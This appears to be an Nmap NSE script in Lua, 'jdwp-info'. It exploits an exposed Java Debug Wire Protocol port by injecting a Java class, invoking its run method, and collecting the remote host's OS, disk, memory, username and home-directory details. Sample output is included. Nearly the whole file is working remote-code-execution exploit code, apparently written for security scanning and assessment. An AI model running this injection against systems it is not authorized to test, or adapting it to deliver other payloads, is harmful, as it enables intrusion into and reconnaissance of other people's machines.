local bin = require "bin" local io = require "io" local jdwp = require "jdwp" local stdnse = require "stdnse" local nmap = require "nmap" local shortport = require "shortport" description = [[ Attempts to exploit java's remote debugging port. When remote debugging port is left open, it is possible to inject java bytecode and achieve remote code execution. This script injects and execute a Java class file that returns remote system information. ]] author = "Aleksandar Nikolic" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"default","safe","discovery"} --- -- @usage nmap -sT -p --script=+jdwp-info -- @output -- PORT STATE SERVICE REASON -- 2010/tcp open search syn-ack -- | jdwp-info: -- | Available processors: 1 -- | Free memory: 15331736 -- | File system root: A:\ -- | Total space (bytes): 0 -- | Free space (bytes): 0 -- | File system root: C:\ -- | Total space (bytes): 42935926784 -- | Free space (bytes): 29779054592 -- | File system root: D:\ -- | Total space (bytes): 0 -- | Free space (bytes): 0 -- | Name of the OS: Windows XP -- | OS Version : 5.1 -- | OS patch level : Service Pack 3 -- | OS Architecture: x86 -- | Java version: 1.7.0_01 -- | Username: user -- | User home: C:\Documents and Settings\user -- |_ System time: Sat Aug 11 15:21:44 CEST 2012 portrule = function(host, port) -- JDWP will close the port if there is no valid handshake within 2 -- seconds, Service detection's NULL probe detects it as tcpwrapped. return port.service == "tcpwrapped" and port.protocol == "tcp" and port.state == "open" and not(shortport.port_is_excluded(port.number,port.protocol)) end action = function(host, port) stdnse.sleep(5) -- let the remote socket recover from connect() scan local status,socket = jdwp.connect(host,port) -- initialize the connection if not status then stdnse.debug1("error, %s",socket) return nil end -- read .class file local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb") local class_bytes = file:read("*all") -- inject the class local injectedClass status,injectedClass = jdwp.injectClass(socket,class_bytes) if not status then stdnse.debug1("Failed to inject class") return stdnse.format_output(false, "Failed to inject class") end -- find injected class method local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) if runMethodID == nil then stdnse.debug1("Couldn't find run method") return stdnse.format_output(false, "Couldn't find run method.") end -- invoke run method local result status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) if not status then stdnse.debug1("Couldn't invoke run method") return stdnse.format_output(false, result) end -- get the result string local _,_,stringID = bin.unpack(">CL",result) status,result = jdwp.readString(socket,0,stringID) -- parse results return stdnse.format_output(status,result) end